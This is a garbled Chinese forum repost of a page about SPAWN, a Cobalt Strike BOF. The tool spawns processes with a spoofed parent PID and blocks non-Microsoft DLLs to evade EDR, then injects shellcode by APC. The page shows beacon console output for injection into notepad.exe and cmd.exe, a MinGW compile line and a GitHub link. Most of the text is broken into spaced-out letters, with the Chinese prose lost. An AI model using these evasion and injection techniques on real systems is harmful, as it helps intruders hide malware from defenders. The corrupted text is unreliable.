[20661] 2021-08-02_SPAWN-CobaltStrikeBOF

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2021-08-02_SPAWN-CobaltStrikeBOF S P A W N   -   C o b a l t   S t r i k e   B O F b o k u 7   K h a n   2 0 2 1 - 0 8 - 0 2                 C o b a l t   S t r i k e   B O F     s h e l l c o d e   使   ( A C G ) B l o c k D l l     P P I D     E D R / U s e r L a n d     使   ( A C G )     E D R     D L L   s h e l l c o d e   A C G   P r o t e c t e d   P r o c e s s     P o p i n '   C a l c C N A   A g r e s s o r   b e a c o n >   s p a w n   n o t e p a d . e x e   6 2 4 8   / U s e r s / b o b b y . c o o k e / g i t / b o k u 7 / S P A W N / p o p C a l c . b i n [ * ]   S P A W N   ( B o b b y   C o o k e / / S p i d e r L a b s | @ 0 x B o k u | g i t h u b . c o m / b o k u 7 ) [ + ]   O p e n e d   h a n d l e   0 x 5 3 4   t o   p r o c e s s   6 2 4 8 ( P I D ) [ + ]   S p a w n e d   p r o c e s s :   n o t e p a d . e x e   |   P I D :   8 4 0 4   |   P P I D :   6 2 4 8 [ + ]   A l l o c a t e d   R E   m e m o r y   i n   r e m o t e   p r o c e s s   8 4 0 4   ( P I D )   a t :   0 x 0 0 0 0 0 1 7 7 A 7 2 C 0 0 0 0 [ + ]   W r o t e   2 8 0   b y t e s   t o   m e m o r y   i n   r e m o t e   p r o c e s s   8 4 0 4   ( P I D )   a t   0 x 0 0 0 0 0 1 7 7 A 7 2 C 0 0 0 0 [ + ]   A P C   q u e u e d   f o r   m a i n   t h r e a d   o f   8 4 0 4   ( P I D )   t o   s h e l l c o d e   a d d r e s s   0 x 0 0 0 0 0 1 7 7 A 7 2 C 0 0 0 0 b e a c o n >   h e l p         s p a w n                                           S p a w n   a   p r o c e s s   w i t h   a   s p o o f e d   P P I D   a n d   b l o c k D l l b e a c o n >   h e l p   s p a w n S y n o p s i s :   s p a w n   / p a t h / t o / e x e   P P I D b e a c o n >   p s 8 2 6 4     5 5 3 6     O n e D r i v e . e x e                                   x 8 6       1                       D E S K T O P - K O S R 2 N O b o k u   b e a c o n >   s p a w n   c m d . e x e   8 2 6 4 [ * ]   S P A W N   ( @ 0 x B o k u | g i t h u b . c o m / b o k u 7 )
P P I D C o b a l t   S t r i k e 使 使   x 6 4   M i n G W     C o b a l t   S t r i k e   B e a c o n     s p a w n . c n a     C o b a l t   S t r i k e s   S c r i p t   M a n a g e r   P P I D     使   M i c r o s o f t     D L L   O p e n e d   h a n d l e   0 x 6 3 4   t o   p r o c e s s   8 2 6 4 ( P I D ) S u c c e s s !   S p a w n e d   p r o c e s s :   c m d . e x e   |   P I D :   5 3 8 4   |   P P I D :   8 2 6 4 b l o c k d l l x 8 6 _ 6 4 - w 6 4 - m i n g w 3 2 - g c c   - c   s p a w n . x 6 4 . c   - o   s p a w n . x 6 4 . o b e a c o n >   s p a w n   / p a t h / t o / e x e   P P I D   / l o c a l / p a t h / t o / s h e l l c o d e . b i n c m d . e x e O n e D r i v e . e x e S i g n a t u r e s   r e s t r i c t e d   ( M i c r o s o f t   o n l y ) S i g n a t u r e s   r e s t r i c t e d   ( M i c r o s o f t   o n l y )
N T D L L . D L L   E T W   / A M S I   / C L R     . N e t   h t t p s : / / g i t h u b . c o m / b o k u 7 / s p a w n
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则